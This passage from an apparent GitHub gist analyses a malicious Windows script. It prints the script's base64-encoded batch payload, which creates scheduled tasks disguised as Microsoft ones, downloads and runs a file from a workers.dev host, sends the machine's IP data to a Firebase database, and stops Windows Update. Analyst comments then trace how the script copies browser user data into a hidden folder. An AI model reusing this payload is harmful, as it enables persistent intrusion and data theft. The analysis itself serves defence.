WxlXHRlbXA1LnhtbAplY2hvICAgICBePEFsbG93U3RhcnRPbkRlbWFuZF4+dHJ1ZV48L0FsbG93U3RhcnRPbkRlbWFuZF4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDUueG1sCmVjaG8gICAgIF48RW5hYmxlZF4+dHJ1ZV48L0VuYWJsZWRePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA1LnhtbAplY2hvICAgICBePEhpZGRlbl4+ZmFsc2VePC9IaWRkZW5ePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA1LnhtbAplY2hvICAgICBePFJ1bk9ubHlJZklkbGVePmZhbHNlXjwvUnVuT25seUlmSWRsZV4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDUueG1sCmVjaG8gICAgIF48V2FrZVRvUnVuXj5mYWxzZV48L1dha2VUb1J1bl4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDUueG1sCmVjaG8gICAgIF48RXhlY3V0aW9uVGltZUxpbWl0Xj5QVDBTXjwvRXhlY3V0aW9uVGltZUxpbWl0Xj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNS54bWwKZWNobyAgICAgXjxQcmlvcml0eV4+MTBePC9Qcmlvcml0eV4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDUueG1sCmVjaG8gICBePC9TZXR0aW5nc14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDUueG1sCmVjaG8gICBePEFjdGlvbnMgQ29udGV4dD0iTG9jYWxTZXJ2aWNlIl4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDUueG1sCmVjaG8gICAgIF48RXhlY14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDUueG1sCmVjaG8gICAgICAgXjxDb21tYW5kXj5jdXJsXjwvQ29tbWFuZF4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDUueG1sCmVjaG8gICAgICAgXjxBcmd1bWVudHNePmh0dHBzOi8vYXV0b2JhdC5hbGV4cnliYWswNDQ0LndvcmtlcnMuZGV2LyAtbyBeJXRlbXBeJVxjNDMyOWYtNGI4YjMzZS1mYTRmZmZlMF48L0FyZ3VtZW50c14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDUueG1sCmVjaG8gICAgIF48L0V4ZWNePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA1LnhtbAplY2hvICAgXjwvQWN0aW9uc14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDUueG1sCmVjaG8gXjwvVGFza14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDUueG1sCgpzY2h0YXNrcyAvY3JlYXRlIC94bWwgIkM6XHN5c3RlbWZpbGVcdGVtcDUueG1sIiAvdG4gIlxNaWNyb3NvZnRcV2luZG93c1xTZXJ2aWNpbmdcQ29tcG9uZW50Q2xlYW51cCIgL0YKRGVsICJDOlxzeXN0ZW1maWxlXHRlbXA1LnhtbCIKCgoKCgoKCgplY2hvIF48P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJVVEYtMTYiP14+ID4gQzpcc3lzdGVtZmlsZVx0ZW1wNi54bWwKZWNobyBePFRhc2sgdmVyc2lvbj0iMS4yIiB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5kb3dzLzIwMDQvMDIvbWl0L3Rhc2siXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNi54bWwKZWNobyAgIF48UmVnaXN0cmF0aW9uSW5mb14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDYueG1sCmVjaG8gICAgIF48U291cmNlXj5NaWNyb3NvZnQgQ29ycG9yYXRpb25ePC9Tb3VyY2VePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA2LnhtbAplY2hvICAgICBePEF1dGhvcl4+TWljcm9zb2Z0IENvcnBvcmF0aW9uXjwvQXV0aG9yXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNi54bWwKZWNobyAgICAgXjxEZXNjcmlwdGlvbl4+bGVmdCBvdmVyIFNlcnZpY2UgQ2xlYW51cF48L0Rlc2NyaXB0aW9uXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNi54bWwKZWNobyAgICAgXjxVUklePlxNaWNyb3NvZnRcV2luZG93c1xTZXJ2aWNpbmdcU2VydmljZUNsZWFudXBePC9VUklePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA2LnhtbAplY2hvICAgXjwvUmVnaXN0cmF0aW9uSW5mb14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDYueG1sCmVjaG8gICBePFRyaWdnZXJzXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNi54bWwKZWNobyAgICAgXjxMb2dvblRyaWdnZXJePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA2LnhtbAplY2hvICAgICAgIF48UmVwZXRpdGlvbl4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDYueG1sCmVjaG8gICAgICAgICBePEludGVydmFsXj5QVDlNXjwvSW50ZXJ2YWxePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA2LnhtbAplY2hvICAgICAgICAgXjxTdG9wQXREdXJhdGlvbkVuZF4+ZmFsc2VePC9TdG9wQXREdXJhdGlvbkVuZF4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDYueG1sCmVjaG8gICAgICAgXjwvUmVwZXRpdGlvbl4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDYueG1sCmVjaG8gICAgICAgXjxFbmFibGVkXj50cnVlXjwvRW5hYmxlZF4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDYueG1sCmVjaG8gICAgICAgXjxEZWxheV4+UFQ4U148L0RlbGF5Xj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNi54bWwKZWNobyAgICAgXjwvTG9nb25UcmlnZ2VyXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNi54bWwKZWNobyAgIF48L1RyaWdnZXJzXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNi54bWwKZWNobyAgIF48UHJpbmNpcGFsc14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDYueG1sCmVjaG8gICAgIF48UHJpbmNpcGFsIGlkPSJMb2NhbFNlcnZpY2UiXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNi54bWwKZWNobyAgICAgICBePExvZ29uVHlwZV4+UzRVXjwvTG9nb25UeXBlXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNi54bWwKZWNobyAgICAgICBePFJ1bkxldmVsXj5MZWFzdFByaXZpbGVnZV48L1J1bkxldmVsXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNi54bWwKZWNobyAgICAgXjwvUHJpbmNpcGFsXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNi54bWwKZWNobyAgIF48L1ByaW5jaXBhbHNePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA2LnhtbAplY2hvICAgXjxTZXR0aW5nc14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDYueG1sCmVjaG8gICAgIF48TXVsdGlwbGVJbnN0YW5jZXNQb2xpY3lePklnbm9yZU5ld148L011bHRpcGxlSW5zdGFuY2VzUG9saWN5Xj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNi54bWwKZWNobyAgICAgXjxEaXNhbGxvd1N0YXJ0SWZPbkJhdHRlcmllc14+ZmFsc2VePC9EaXNhbGxvd1N0YXJ0SWZPbkJhdHRlcmllc14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDYueG1sCmVjaG8gICAgIF48QWxsb3dIYXJkVGVybWluYXRlXj5mYWxzZV48L0FsbG93SGFyZFRlcm1pbmF0ZV4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDYueG1sCmVjaG8gICAgIF48UnVuT25seUlmTmV0d29ya0F2YWlsYWJsZV4+ZmFsc2VePC9SdW5Pbmx5SWZOZXR3b3JrQXZhaWxhYmxlXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNi54bWwKZWNobyAgICAgXjxBbGxvd1N0YXJ0T25EZW1hbmRePnRydWVePC9BbGxvd1N0YXJ0T25EZW1hbmRePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA2LnhtbAplY2hvICAgICBePEVuYWJsZWRePnRydWVePC9FbmFibGVkXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNi54bWwKZWNobyAgICAgXjxIaWRkZW5ePmZhbHNlXjwvSGlkZGVuXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNi54bWwKZWNobyAgICAgXjxSdW5Pbmx5SWZJZGxlXj5mYWxzZV48L1J1bk9ubHlJZklkbGVePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA2LnhtbAplY2hvICAgICBePFdha2VUb1J1bl4+ZmFsc2VePC9XYWtlVG9SdW5ePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA2LnhtbAplY2hvICAgICBePEV4ZWN1dGlvblRpbWVMaW1pdF4+UFQwU148L0V4ZWN1dGlvblRpbWVMaW1pdF4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDYueG1sCmVjaG8gICAgIF48UHJpb3JpdHlePjEwXjwvUHJpb3JpdHlePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA2LnhtbAplY2hvICAgXjwvU2V0dGluZ3NePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA2LnhtbAplY2hvICAgXjxBY3Rpb25zIENvbnRleHQ9IkxvY2FsU2VydmljZSJePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA2LnhtbAplY2hvICAgICBePEV4ZWNePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA2LnhtbAplY2hvICAgICAgIF48Q29tbWFuZF4+Y21kXjwvQ29tbWFuZF4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDYueG1sCmVjaG8gICAgICAgXjxBcmd1bWVudHNePi9jIHR5cGUgXiV0ZW1wXiVcYzQzMjlmLTRiOGIzM2UtZmE0ZmZmZTAgXnwgY21kIF4mYW1wO14mYW1wOyBkZWwgXiV0ZW1wXiVcYzQzMjlmLTRiOGIzM2UtZmE0ZmZmZTBePC9Bcmd1bWVudHNePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA2LnhtbAplY2hvICAgICBePC9FeGVjXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNi54bWwKZWNobyAgIF48L0FjdGlvbnNePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA2LnhtbAplY2hvIF48L1Rhc2tePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA2LnhtbAoKc2NodGFza3MgL2NyZWF0ZSAveG1sICJDOlxzeXN0ZW1maWxlXHRlbXA2LnhtbCIgL3RuICJcTWljcm9zb2Z0XFdpbmRvd3NcU2VydmljaW5nXFNlcnZpY2VDbGVhbnVwIiAvRgpEZWwgIkM6XHN5c3RlbWZpbGVcdGVtcDYueG1sIgoKCgoKCgoKCgoKCgplY2hvIF48P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJVVEYtMTYiP14+ID4gQzpcc3lzdGVtZmlsZVx0ZW1wNy54bWwKZWNobyBePFRhc2sgdmVyc2lvbj0iMS4yIiB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5kb3dzLzIwMDQvMDIvbWl0L3Rhc2siXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNy54bWwKZWNobyAgIF48UmVnaXN0cmF0aW9uSW5mb14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDcueG1sCmVjaG8gICAgIF48U291cmNlXj5NaWNyb3NvZnQgQ29ycG9yYXRpb25ePC9Tb3VyY2VePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA3LnhtbAplY2hvICAgICBePEF1dGhvcl4+TWljcm9zb2Z0IENvcnBvcmF0aW9uXjwvQXV0aG9yXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNy54bWwKZWNobyAgICAgXjxEZXNjcmlwdGlvbl4+bGVmdCBvdmVyIFNlcnZpY2UgQ2xlYW51cF48L0Rlc2NyaXB0aW9uXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNy54bWwKZWNobyAgICAgXjxVUklePlxNaWNyb3NvZnRcV2luZG93c1xTaGVsbFxPYmplY3RUYXNrXjwvVVJJXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNy54bWwKZWNobyAgIF48L1JlZ2lzdHJhdGlvbkluZm9ePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA3LnhtbAplY2hvICAgXjxUcmlnZ2Vyc14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDcueG1sCmVjaG8gICAgIF48TG9nb25UcmlnZ2VyXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNy54bWwKZWNobyAgICAgICBePEVuYWJsZWRePnRydWVePC9FbmFibGVkXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNy54bWwKZWNobyAgICAgICBePERlbGF5Xj5QVDdTXjwvRGVsYXlePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA3LnhtbAplY2hvICAgICBePC9Mb2dvblRyaWdnZXJePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA3LnhtbAplY2hvICAgXjwvVHJpZ2dlcnNePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA3LnhtbAplY2hvICAgXjxQcmluY2lwYWxzXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNy54bWwKZWNobyAgICAgXjxQcmluY2lwYWwgaWQ9IkxvY2FsU2VydmljZSJePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA3LnhtbAplY2hvICAgICAgIF48TG9nb25UeXBlXj5TNFVePC9Mb2dvblR5cGVePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA3LnhtbAplY2hvICAgICAgIF48UnVuTGV2ZWxePkxlYXN0UHJpdmlsZWdlXjwvUnVuTGV2ZWxePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA3LnhtbAplY2hvICAgICBePC9QcmluY2lwYWxePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA3LnhtbAplY2hvICAgXjwvUHJpbmNpcGFsc14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDcueG1sCmVjaG8gICBePFNldHRpbmdzXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNy54bWwKZWNobyAgICAgXjxNdWx0aXBsZUluc3RhbmNlc1BvbGljeV4+SWdub3JlTmV3XjwvTXVsdGlwbGVJbnN0YW5jZXNQb2xpY3lePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA3LnhtbAplY2hvICAgICBePERpc2FsbG93U3RhcnRJZk9uQmF0dGVyaWVzXj5mYWxzZV48L0Rpc2FsbG93U3RhcnRJZk9uQmF0dGVyaWVzXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNy54bWwKZWNobyAgICAgXjxBbGxvd0hhcmRUZXJtaW5hdGVePmZhbHNlXjwvQWxsb3dIYXJkVGVybWluYXRlXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNy54bWwKZWNobyAgICAgXjxSdW5Pbmx5SWZOZXR3b3JrQXZhaWxhYmxlXj5mYWxzZV48L1J1bk9ubHlJZk5ldHdvcmtBdmFpbGFibGVePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA3LnhtbAplY2hvICAgICBePEFsbG93U3RhcnRPbkRlbWFuZF4+dHJ1ZV48L0FsbG93U3RhcnRPbkRlbWFuZF4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDcueG1sCmVjaG8gICAgIF48RW5hYmxlZF4+dHJ1ZV48L0VuYWJsZWRePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA3LnhtbAplY2hvICAgICBePEhpZGRlbl4+ZmFsc2VePC9IaWRkZW5ePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA3LnhtbAplY2hvICAgICBePFJ1bk9ubHlJZklkbGVePmZhbHNlXjwvUnVuT25seUlmSWRsZV4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDcueG1sCmVjaG8gICAgIF48V2FrZVRvUnVuXj5mYWxzZV48L1dha2VUb1J1bl4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDcueG1sCmVjaG8gICAgIF48RXhlY3V0aW9uVGltZUxpbWl0Xj5QVDBTXjwvRXhlY3V0aW9uVGltZUxpbWl0Xj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNy54bWwKZWNobyAgICAgXjxQcmlvcml0eV4+MTBePC9Qcmlvcml0eV4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDcueG1sCmVjaG8gICBePC9TZXR0aW5nc14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDcueG1sCmVjaG8gICBePEFjdGlvbnMgQ29udGV4dD0iTG9jYWxTZXJ2aWNlIl4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDcueG1sCmVjaG8gICAgIF48RXhlY14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDcueG1sCmVjaG8gICAgICAgXjxDb21tYW5kXj5jbWRePC9Db21tYW5kXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNy54bWwKZWNobyAgICAgICBePEFyZ3VtZW50c14+L2MgaWYgZXhpc3QgXiV0ZW1wXiVcYzQzMjlmLTRiOGIzM2UtZmE0ZmZmZTAgKFNDSFRBU0tTIC9FbmQgL1ROIF4iXE1pY3Jvc29mdFxXaW5kb3dzXEFwcElEXFZlcmlmaWVkQ2VydF4iIF4mYW1wOyBTQ0hUQVNLUyAvRW5kIC9UTiBeIlxNaWNyb3NvZnRcV2luZG93c1xBcHBsaWNhdGlvbiBFeHBlcmllbmNlXE1haW50ZW5hbmNlXiIgXiZhbXA7IHNjaHRhc2tzIC9jaGFuZ2UgL3RuIF4iXE1pY3Jvc29mdFxXaW5kb3dzXEFwcElEXFZlcmlmaWVkQ2VydF4iIC9ESVNBQkxFIF4mYW1wOyBzY2h0YXNrcyAvY2hhbmdlIC90biBeIlxNaWNyb3NvZnRcV2luZG93c1xBcHBsaWNhdGlvbiBFeHBlcmllbmNlXE1haW50ZW5hbmNlXiIgL0RJU0FCTEUgXiZhbXA7IHNjaHRhc2tzIC9jaGFuZ2UgL3RuIF4iXE1pY3Jvc29mdFxXaW5kb3dzXEFwcElEXFZlcmlmaWVkQ2VydF4iIC9FTkFCTEUgXiZhbXA7IHNjaHRhc2tzIC9jaGFuZ2UgL3RuIF4iXE1pY3Jvc29mdFxXaW5kb3dzXEFwcGxpY2F0aW9uIEV4cGVyaWVuY2VcTWFpbnRlbmFuY2VeIiAvRU5BQkxFKV48L0FyZ3VtZW50c14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDcueG1sCmVjaG8gICAgIF48L0V4ZWNePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA3LnhtbAplY2hvICAgXjwvQWN0aW9uc14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDcueG1sCmVjaG8gXjwvVGFza14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDcueG1sCgpzY2h0YXNrcyAvY3JlYXRlIC94bWwgIkM6XHN5c3RlbWZpbGVcdGVtcDcueG1sIiAvdG4gIlxNaWNyb3NvZnRcV2luZG93c1xTaGVsbFxPYmplY3RUYXNrIiAvRgpEZWwgIkM6XHN5c3RlbWZpbGVcdGVtcDcueG1sIgoKCgoKCgoKCgoKCgoKCmVjaG8gXjw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IlVURi0xNiI/Xj4gPiBDOlxzeXN0ZW1maWxlXHRlbXA4LnhtbAplY2hvIF48VGFzayB2ZXJzaW9uPSIxLjIiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmRvd3MvMjAwNC8wMi9taXQvdGFzayJePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA4LnhtbAplY2hvICAgXjxSZWdpc3RyYXRpb25JbmZvXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wOC54bWwKZWNobyAgICAgXjxTb3VyY2VePk1pY3Jvc29mdCBDb3Jwb3JhdGlvbl48L1NvdXJjZV4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDgueG1sCmVjaG8gICAgIF48QXV0aG9yXj5NaWNyb3NvZnQgQ29ycG9yYXRpb25ePC9BdXRob3JePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA4LnhtbAplY2hvICAgICBePERlc2NyaXB0aW9uXj5sZWZ0IG92ZXIgU2VydmljZSBDbGVhbnVwXjwvRGVzY3JpcHRpb25ePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA4LnhtbAplY2hvICAgICBePFVSSV4+XE1pY3Jvc29mdFxXaW5kb3dzXENsaXBcU2VydmljZUNsZWFudXBePC9VUklePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA4LnhtbAplY2hvICAgXjwvUmVnaXN0cmF0aW9uSW5mb14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDgueG1sCmVjaG8gICBePFRyaWdnZXJzXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wOC54bWwKZWNobyAgICAgXjxMb2dvblRyaWdnZXJePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA4LnhtbAplY2hvICAgICAgIF48RW5hYmxlZF4+dHJ1ZV48L0VuYWJsZWRePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA4LnhtbAplY2hvICAgICAgIF48RGVsYXlePlBUNU1ePC9EZWxheV4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDgueG1sCmVjaG8gICAgIF48L0xvZ29uVHJpZ2dlcl4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDgueG1sCmVjaG8gICBePC9UcmlnZ2Vyc14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDgueG1sCmVjaG8gICBePFByaW5jaXBhbHNePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA4LnhtbAplY2hvICAgICBePFByaW5jaXBhbCBpZD0iTG9jYWxTZXJ2aWNlIl4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDgueG1sCmVjaG8gICAgICAgXjxMb2dvblR5cGVePlM0VV48L0xvZ29uVHlwZV4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDgueG1sCmVjaG8gICAgICAgXjxSdW5MZXZlbF4+TGVhc3RQcml2aWxlZ2VePC9SdW5MZXZlbF4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDgueG1sCmVjaG8gICAgIF48L1ByaW5jaXBhbF4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDgueG1sCmVjaG8gICBePC9QcmluY2lwYWxzXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wOC54bWwKZWNobyAgIF48U2V0dGluZ3NePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA4LnhtbAplY2hvICAgICBePE11bHRpcGxlSW5zdGFuY2VzUG9saWN5Xj5JZ25vcmVOZXdePC9NdWx0aXBsZUluc3RhbmNlc1BvbGljeV4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDgueG1sCmVjaG8gICAgIF48RGlzYWxsb3dTdGFydElmT25CYXR0ZXJpZXNePmZhbHNlXjwvRGlzYWxsb3dTdGFydElmT25CYXR0ZXJpZXNePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA4LnhtbAplY2hvICAgICBePEFsbG93SGFyZFRlcm1pbmF0ZV4+ZmFsc2VePC9BbGxvd0hhcmRUZXJtaW5hdGVePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA4LnhtbAplY2hvICAgICBePFJ1bk9ubHlJZk5ldHdvcmtBdmFpbGFibGVePmZhbHNlXjwvUnVuT25seUlmTmV0d29ya0F2YWlsYWJsZV4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDgueG1sCmVjaG8gICAgIF48QWxsb3dTdGFydE9uRGVtYW5kXj50cnVlXjwvQWxsb3dTdGFydE9uRGVtYW5kXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wOC54bWwKZWNobyAgICAgXjxFbmFibGVkXj50cnVlXjwvRW5hYmxlZF4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDgueG1sCmVjaG8gICAgIF48SGlkZGVuXj5mYWxzZV48L0hpZGRlbl4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDgueG1sCmVjaG8gICAgIF48UnVuT25seUlmSWRsZV4+ZmFsc2VePC9SdW5Pbmx5SWZJZGxlXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wOC54bWwKZWNobyAgICAgXjxXYWtlVG9SdW5ePmZhbHNlXjwvV2FrZVRvUnVuXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wOC54bWwKZWNobyAgICAgXjxFeGVjdXRpb25UaW1lTGltaXRePlBUMFNePC9FeGVjdXRpb25UaW1lTGltaXRePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA4LnhtbAplY2hvICAgICBePFByaW9yaXR5Xj4xMF48L1ByaW9yaXR5Xj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wOC54bWwKZWNobyAgIF48L1NldHRpbmdzXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wOC54bWwKZWNobyAgIF48QWN0aW9ucyBDb250ZXh0PSJMb2NhbFNlcnZpY2UiXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wOC54bWwKZWNobyAgICAgXjxFeGVjXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wOC54bWwKZWNobyAgICAgICBePENvbW1hbmRePmNtZF48L0NvbW1hbmRePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA4LnhtbAplY2hvICAgICAgIF48QXJndW1lbnRzXj4vYyBtb3JlICJDOlxzeXN0ZW1maWxlXGMueiIgXnwgY21kICBeJmFtcDsgaWYgRVhJU1QgIkM6XFdpbmRvd3Ncc2VjdXJpdHlccHl3aW52ZXJhXGxpYnMiIChzY2h0YXNrcyAvZGVsZXRlIC90biAiXE1pY3Jvc29mdFxXaW5kb3dzXENsaXBcU2VydmljZUNsZWFudXAiIC9GKV48L0FyZ3VtZW50c14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDgueG1sCmVjaG8gICAgIF48L0V4ZWNePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA4LnhtbAplY2hvICAgXjwvQWN0aW9uc14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDgueG1sCmVjaG8gXjwvVGFza14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDgueG1sCgpzY2h0YXNrcyAvY3JlYXRlIC94bWwgIkM6XHN5c3RlbWZpbGVcdGVtcDgueG1sIiAvdG4gIlxNaWNyb3NvZnRcV2luZG93c1xDbGlwXFNlcnZpY2VDbGVhbnVwIiAvRgpEZWwgIkM6XHN5c3RlbWZpbGVcdGVtcDgueG1sIgoKCgoKCgoKCgoKCgoKCgoKCgpGT1IgL0YgInRva2Vucz0qIiAlYSBpbiAoJ2N1cmwuZXhlIC1MIGh0dHA6Ly9pcC1hcGkuY29tL2pzb24nKSBkbyBTRVQgd2lkZ2V0PSVhCgpzZXQgd2lkZ2V0PSV3aWRnZXQ6Ij1cIiUKc2V0IHdpZGdldD0ld2lkZ2V0OiA9XyUKZWNobyAld2lkZ2V0JQoKCmN1cmwuZXhlIC1YIFBPU1QgLWQgIiV3aWRnZXQlIiBodHRwczovL3BpbmctbmV3ZGF0YWJhc2UtZGVmYXVsdC1ydGRiLmZpcmViYXNlaW8uY29tL1VzZXJpbmZvLmpzb24KCgoKCnNjLmV4ZSBzdG9wIHd1YXVzZXJ2CnNjLmV4ZSBjb25maWcgd3VhdXNlcnYgc3RhcnQ9ZGVtYW5kCgoK | |
#endregion encoding | |
<# | |
Rk9SIC9GICJ0b2tlbnM9KiIgJWEgaW4gKCdjdXJsLmV4ZSAtTCBodHRwOi8vaXAtYXBpLmNvbS9qc29uJykgZG8gU0VUIHdpZGdldD0lYQoKc2V0IHdpZGdldD0ld2lkZ2V0OiI9XCIlCnNldCB3aWRnZXQ9JXdpZGdldDogPV8lCmVjaG8gJXdpZGdldCUKCgpjdXJsLmV4ZSAtWCBQT1NUIC1kICIld2lkZ2V0JSIgaHR0cHM6Ly9teWRhdGFiYXNlLWY4N2RlLWRlZmF1bHQtcnRkYi5maXJlYmFzZWlvLmNvbS9Vc2VyaW5mby5qc29uCg== | |
#> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
This is the script that gets actually executed, after being called with new headers from Stage 1.
Lines 1-2000
These lines seem like they are doing what they are supposed to.
Line 156 downloads a config under the author's control though.
Line 475 is an encoded
.pow
file that does not look suspicious.Line 1789 downloads an executable under the author's control. As of now it seems to be safe.
Line 1821 might look suspicious because of the encoding, but it's just a regular
.lnk
invokingMicrosoftCorporationII.WindowsSubsystemForAndroid_8wekyb3d8bbwe!SettingsApp
.Lines 2k+
Finally, the unwanted code begins at line 2000
region chromepath
Line 2041 starts Task 2 that's been created by Stage 3.
This task runs a hidden Chrome instance inside
C:\systemfile
.Lines 2043-2046 then wait for that instance to have created the
Default\Preferences
folder.Lines 2048-2052 stop the running Chrome instance.
Lines 2055-2070 want to set the Chrome preference such that it does not ask for confirmation when downloading files.
Lines 2090/2091 create a mysterious
ex.txt
?Lines 2093-2100 copy user data from MS Edge, Brave and/or Chrome into the hidden folder
C:/systemfile
region encoding
